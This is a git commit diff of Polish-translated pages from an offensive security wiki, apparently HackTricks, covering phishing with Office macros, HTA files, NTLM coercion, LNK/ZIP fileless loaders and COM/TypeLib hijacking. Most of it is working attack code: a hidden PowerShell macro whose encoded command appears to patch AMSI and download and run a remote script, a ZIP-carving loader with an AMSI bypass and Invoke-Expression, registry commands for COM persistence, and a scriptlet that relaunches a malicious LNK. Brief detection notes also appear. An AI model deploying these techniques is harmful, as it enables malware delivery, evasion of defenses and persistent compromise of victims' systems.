Translated ['src/windows-hardening/windows-local-privilege-escalation/co

This commit is contained in:
Translator 2025-08-28 22:43:00 +00:00
parent a20ddc7540
commit b20423f256
2 changed files with 151 additions and 42 deletions

View File

@ -2,39 +2,39 @@
{{#include ../../banners/hacktricks-training.md}}
## Dokumenty Office
## Dokumenty Microsoft Office
Microsoft Word wykonuje walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w formie identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli wystąpi błąd podczas identyfikacji struktury danych, analizowany plik nie zostanie otwarty.
Microsoft Word przeprowadza walidację danych pliku przed jego otwarciem. Walidacja danych odbywa się w postaci identyfikacji struktury danych, zgodnie ze standardem OfficeOpenXML. Jeśli podczas identyfikacji struktury danych wystąpi jakikolwiek błąd, analizowany plik nie zostanie otwarty.
Zazwyczaj pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia pliku i nadal zachowanie możliwości wykonywania makr.\
Na przykład, plik RTF nie obsługuje makr, z założenia, ale plik DOCM zmieniony na RTF będzie obsługiwany przez Microsoft Word i będzie zdolny do wykonywania makr.\
Te same wewnętrzne mechanizmy mają zastosowanie do całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
Zwykle pliki Word zawierające makra używają rozszerzenia `.docm`. Jednak możliwe jest zmienienie nazwy pliku poprzez zmianę rozszerzenia i nadal zachować zdolność wykonywania makr.\
Na przykład plik RTF domyślnie nie obsługuje makr, ale plik DOCM przemianowany na RTF zostanie obsłużony przez Microsoft Word i będzie zdolny do wykonania makr.\
Te same wewnętrzne mechanizmy dotyczą całego oprogramowania z pakietu Microsoft Office (Excel, PowerPoint itp.).
Możesz użyć następującego polecenia, aby sprawdzić, które rozszerzenia będą wykonywane przez niektóre programy Office:
```bash
assoc | findstr /i "word excel powerp"
```
DOCX pliki odwołujące się do zdalnego szablonu (Plik Opcje Dodatki Zarządzaj: Szablony Przejdź) które zawierają makra mogą również „wykonywać” makra.
DOCX files referencing a remote template (File Options Add-ins Manage: Templates Go) that includes macros can “execute” macros as well.
### Ładowanie zewnętrznych obrazów
### Ładowanie zewnętrznego obrazu
Przejdź do: _Wstaw --> Szybkie części --> Pole_\
_**Kategorie**: Linki i odniesienia, **Nazwy pól**: includePicture, oraz **Nazwa pliku lub URL**:_ http://\<ip>/whatever
Przejdź do: _Insert --> Quick Parts --> Field_\
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Backdoor w makrach
### Macros Backdoor
Możliwe jest użycie makr do uruchamiania dowolnego kodu z dokumentu.
Można użyć macros, aby uruchomić dowolny kod z dokumentu.
#### Funkcje autoload
#### Autoload functions
Im bardziej powszechne, tym bardziej prawdopodobne, że AV je wykryje.
Im bardziej powszechne, tym bardziej prawdopodobne, że AV je wykryje.
- AutoOpen()
- Document_Open()
#### Przykłady kodu makr
#### Macros Code Examples
```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -66,12 +66,12 @@ proc.Create "powershell <beacon line generated>
```
#### Ręczne usuwanie metadanych
Przejdź do **Plik > Informacje > Sprawdź dokument > Sprawdź dokument**, co otworzy Inspektora dokumentów. Kliknij **Sprawdź**, a następnie **Usuń wszystko** obok **Właściwości dokumentu i informacje osobiste**.
Przejdź do **File > Info > Inspect Document > Inspect Document**, co otworzy Document Inspector. Kliknij **Inspect**, a następnie **Remove All** obok **Document Properties and Personal Information**.
#### Rozszerzenie dokumentu
#### Rozszerzenie pliku
Po zakończeniu, wybierz rozwijane menu **Zapisz jako typ**, zmień format z **`.docx`** na **Word 97-2003 `.doc`**.\
Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat** **wokół** rozszerzenia z makrami **`.docm`** (np. ikona miniatury ma ogromne `!` i niektóre bramy internetowe/e-mailowe całkowicie je blokują). Dlatego to **stare rozszerzenie `.doc` jest najlepszym kompromisem**.
When finished, select **Save as type** dropdown, change the format from **`.docx`** to **Word 97-2003 `.doc`**.\
Zrób to ponieważ **nie można zapisać makr w `.docx`** i istnieje **stigma** związane z rozszerzeniem obsługującym makra **`.docm`** (np. ikona miniatury ma ogromny `!` i niektóre bramy sieciowe/emailowe blokują je całkowicie). Dlatego to **legacy `.doc` rozszerzenie jest najlepszym kompromisem**.
#### Generatory złośliwych makr
@ -81,9 +81,9 @@ Zrób to, ponieważ **nie możesz zapisać makr w `.docx`** i istnieje **stygmat
## Pliki HTA
HTA to program Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i działa jako aplikacja "w pełni zaufana", bez ograniczeń modelu bezpieczeństwa przeglądarki.
HTA to program na Windows, który **łączy HTML i języki skryptowe (takie jak VBScript i JScript)**. Generuje interfejs użytkownika i uruchamia się jako aplikacja "w pełni zaufana", bez ograniczeń wynikających z modelu bezpieczeństwa przeglądarki.
HTA jest uruchamiane za pomocą **`mshta.exe`**, które jest zazwyczaj **instalowane** razem z **Internet Explorer**, co sprawia, że **`mshta` jest zależne od IE**. Jeśli zostało odinstalowane, HTA nie będą mogły się uruchomić.
HTA uruchamiany jest przy użyciu **`mshta.exe`**, który zazwyczaj jest **zainstalowany** razem z **Internet Explorer**, co sprawia, że **`mshta` dependant on IE**. Jeśli więc został odinstalowany, HTA nie będą mogły się uruchomić.
```html
<--! Basic HTA Execution -->
<html>
@ -140,9 +140,9 @@ self.close
```
## Wymuszanie uwierzytelniania NTLM
Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, które użytkownik otworzy (nawet HTTP MitM?). Lub wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnienie** tylko przy **otwieraniu folderu.**
Istnieje kilka sposobów, aby **wymusić uwierzytelnianie NTLM "zdalnie"**, na przykład możesz dodać **niewidoczne obrazy** do e-maili lub HTML, do których użytkownik uzyska dostęp (nawet HTTP MitM?). Albo wysłać ofierze **adres plików**, które **wywołają** **uwierzytelnianie** już przy **otwarciu folderu.**
**Sprawdź te pomysły i więcej na następujących stronach:**
**Sprawdź te pomysły i więcej na poniższych stronach:**
{{#ref}}
@ -154,11 +154,62 @@ Istnieje kilka sposobów na **wymuszenie uwierzytelniania NTLM "zdalnie"**, na p
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
{{#endref}}
### Przekaźnik NTLM
### NTLM Relay
Nie zapomnij, że nie tylko możesz ukraść hash lub uwierzytelnienie, ale także **przeprowadzać ataki przekaźnikowe NTLM**:
Pamiętaj, że możesz nie tylko ukraść hasha lub dane uwierzytelniające, lecz także **przeprowadzić NTLM relay attacks**:
- [**Ataki przekaźnikowe NTLM**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (przekaźnik NTLM do certyfikatów)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Wysoce skuteczne kampanie dostarczają ZIP zawierający dwa legalne, mylące dokumenty (PDF/DOCX) i złośliwy .lnk. Sztuczka polega na tym, że rzeczywisty loader PowerShell jest przechowywany wewnątrz surowych bajtów ZIP po unikalnym markerze, a .lnk wyodrębnia go i uruchamia w całości w pamięci.
Typowy przepływ zaimplementowany przez .lnk z jednowierszowym PowerShellem:
1) Zlokalizuj oryginalny ZIP w typowych ścieżkach: Desktop, Downloads, Documents, %TEMP%, %ProgramData% oraz w katalogu nadrzędnym bieżącego katalogu roboczego.
2) Odczytaj bajty ZIP i znajdź hardcodowany marker (np. xFIQCV). Wszystko po markerze to osadzona PowerShell payload.
3) Skopiuj ZIP do %ProgramData%, wypakuj tam i otwórz mylący .docx, aby wyglądało to na legalne.
4) Bypass AMSI dla bieżącego procesu: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Deobfuskacja następnego etapu (np. usunięcie wszystkich znaków #) i wykonanie go w pamięci.
Example PowerShell skeleton to carve and run the embedded stage:
```powershell
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
```
Notatki
- Dostarczenie często nadużywa zaufanych subdomen PaaS (np. *.herokuapp.com) i może ograniczać dostęp do payloadów (serwując nieszkodliwe ZIPy w zależności od IP/UA).
- Kolejny etap często odszyfrowuje base64/XOR shellcode i wykonuje go za pomocą Reflection.Emit + VirtualAlloc, aby zminimalizować artefakty na dysku.
Persistence used in the same chain
- COM TypeLib hijacking kontrolki Microsoft Web Browser, tak że IE/Explorer lub każda aplikacja ją osadzająca automatycznie ponownie uruchamia payload. Szczegóły i gotowe do użycia polecenia tutaj:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Wykrywanie/IOCs
- Pliki ZIP zawierające dopisany do danych archiwum ASCII marker (np. xFIQCV).
- .lnk, który przeszukuje foldery nadrzędne/użytkownika, aby znaleźć ZIP i otworzyć dokument przynętowy.
- Modyfikacja AMSI za pomocą [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Długotrwałe wątki biznesowe kończące się linkami hostowanymi pod zaufanymi domenami PaaS.
## Referencje
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,23 +4,23 @@
### Wyszukiwanie nieistniejących komponentów COM
Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników, **COM Hijacking** może być używane jako **mechanizm persistentny**. Używając `procmon`, łatwo jest znaleźć wyszukiwane rejestry COM, które nie istnieją, a które atakujący mógłby stworzyć, aby uzyskać persistencję. Filtry:
Ponieważ wartości HKCU mogą być modyfikowane przez użytkowników **COM Hijacking** może być użyte jako **mechanizm utrzymania dostępu**. Korzystając z `procmon` łatwo znaleźć przeszukiwane wpisy rejestru COM, które nie istnieją, a które atakujący mógłby utworzyć, aby utrzymać się w systemie. Filtry:
- Operacje **RegOpenKey**.
- gdzie _Wynik_ to **NAME NOT FOUND**.
- i _Ścieżka_ kończy się na **InprocServer32**.
- gdzie _Result_ jest **NAME NOT FOUND**.
- oraz _Path_ kończy się na **InprocServer32**.
Gdy zdecydujesz, który nieistniejący COM chcesz naśladować, wykonaj następujące polecenia. _Bądź ostrożny, jeśli zdecydujesz się naśladować COM, który jest ładowany co kilka sekund, ponieważ to może być przesadą._
Po wybraniu, który nieistniejący komponent COM chcesz podszyć, wykonaj następujące polecenia. _Uważaj, jeśli zdecydujesz się podszyć pod COM, który jest ładowany co kilka sekund, ponieważ może to być przesadne._
```bash
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
```
### Hijackowalne komponenty COM harmonogramu zadań
### Hijackable Task Scheduler COM components
Windows Tasks używają niestandardowych wyzwalaczy do wywoływania obiektów COM, a ponieważ są one wykonywane przez Harmonogram zadań, łatwiej jest przewidzieć, kiedy będą uruchamiane.
Windows Tasks używają Custom Triggers do wywoływania COM objects, a ponieważ są uruchamiane przez Task Scheduler, łatwiej przewidzieć, kiedy zostaną wywołane.
<pre class="language-powershell"><code class="lang-powershell"># Pokaż CLSID COM
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
$Tasks = Get-ScheduledTask
foreach ($Task in $Tasks)
@ -34,8 +34,8 @@ $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
if ($Task.Principal.GroupId -eq $usersGroup)
{
Write-Host "Nazwa zadania: " $Task.TaskName
Write-Host "Ścieżka zadania: " $Task.TaskPath
Write-Host "Task Name: " $Task.TaskName
Write-Host "Task Path: " $Task.TaskPath
Write-Host "CLSID: " $Task.Actions.ClassId
Write-Host
}
@ -43,15 +43,15 @@ Write-Host
}
}
# Przykładowy wynik:
<strong># Nazwa zadania: Przykład
</strong># Ścieżka zadania: \Microsoft\Windows\Przykład\
# Sample Output:
<strong># Task Name: Example
</strong># Task Path: \Microsoft\Windows\Example\
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
# [więcej jak poprzedni...]</code></pre>
# [more like the previous one...]</code></pre>
Sprawdzając wynik, możesz wybrać jeden, który będzie wykonywany **za każdym razem, gdy użytkownik się loguje**, na przykład.
Sprawdzając wyjście, możesz wybrać taki, który będzie uruchamiany na przykład **za każdym razem, gdy użytkownik się zaloguje**.
Teraz szukając CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zazwyczaj stwierdzisz, że wartość nie istnieje w HKCU.
Teraz, szukając CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** w **HKEY\CLASSES\ROOT\CLSID** oraz w HKLM i HKCU, zwykle stwierdzisz, że wartość ta nie istnieje w HKCU.
```bash
# Exists in HKCR\CLSID\
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@ -72,6 +72,64 @@ Name Property
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
```
Następnie możesz po prostu utworzyć wpis HKCU, a za każdym razem, gdy użytkownik się loguje, twoje tylne drzwi zostaną uruchomione.
Następnie możesz po prostu utworzyć wpis HKCU i za każdym logowaniem użytkownika twój backdoor zostanie uruchomiony.
---
## COM TypeLib Hijacking (script: moniker persistence)
Type Libraries (TypeLib) definiują interfejsy COM i są ładowane za pomocą `LoadTypeLib()`. Gdy serwer COM jest instancjonowany, OS może także załadować powiązany TypeLib, konsultując klucze rejestru pod `HKCR\TypeLib\{LIBID}`. Jeśli ścieżka TypeLib zostanie zamieniona na **moniker**, np. `script:C:\...\evil.sct`, Windows wykona scriptlet w momencie rozwiązywania TypeLib — dając ukryty mechanizm persistence, który uruchamia się, gdy wspólne komponenty są używane.
Zaobserwowano to w kontekście Microsoft Web Browser control (często ładowanego przez Internet Explorer, aplikacje osadzające WebBrowser, a nawet `explorer.exe`).
### Kroki (PowerShell)
1) Zidentyfikuj TypeLib (LIBID) używany przez CLSID o dużej częstotliwości. Przykładowy CLSID często nadużywany przez malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) Wskaż ścieżkę TypeLib dla użytkownika na lokalny scriptlet, używając monikera `script:` (nie są wymagane prawa administratora):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) Umieść minimalny JScript `.sct`, który ponownie uruchomi twój główny payload (np. `.lnk` używany przez początkowy łańcuch):
```xml
<?xml version="1.0"?>
<scriptlet>
<registration progid="UpdateSrv" classid="{F0001111-0000-0000-0000-0000F00D0001}" description="UpdateSrv"/>
<script language="JScript">
<![CDATA[
try {
var sh = new ActiveXObject('WScript.Shell');
// Re-launch the malicious LNK for persistence
var cmd = 'cmd.exe /K set X=1&"C:\\ProgramData\\NDA\\NDA.lnk"';
sh.Run(cmd, 0, false);
} catch(e) {}
]]>
</script>
</scriptlet>
```
4) Wywoływanie otwarcie IE, aplikacji, która osadza WebBrowser control, lub nawet rutynowa aktywność Explorer spowoduje załadowanie TypeLib i wykonanie scriptlet, ponownie uzbrajając twój chain przy logon/reboot.
Czyszczenie
```powershell
# Remove the per-user TypeLib hijack
Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
# Delete the dropped scriptlet
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
Uwagi
- Możesz zastosować tę samą logikę do innych często używanych komponentów COM; zawsze najpierw ustal rzeczywisty `LIBID` z `HKCR\CLSID\{CLSID}\TypeLib`.
- Na systemach 64-bitowych możesz również wypełnić podklucz `win64` dla konsumentów 64-bitowych.
## Źródła
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
{{#include ../../banners/hacktricks-training.md}}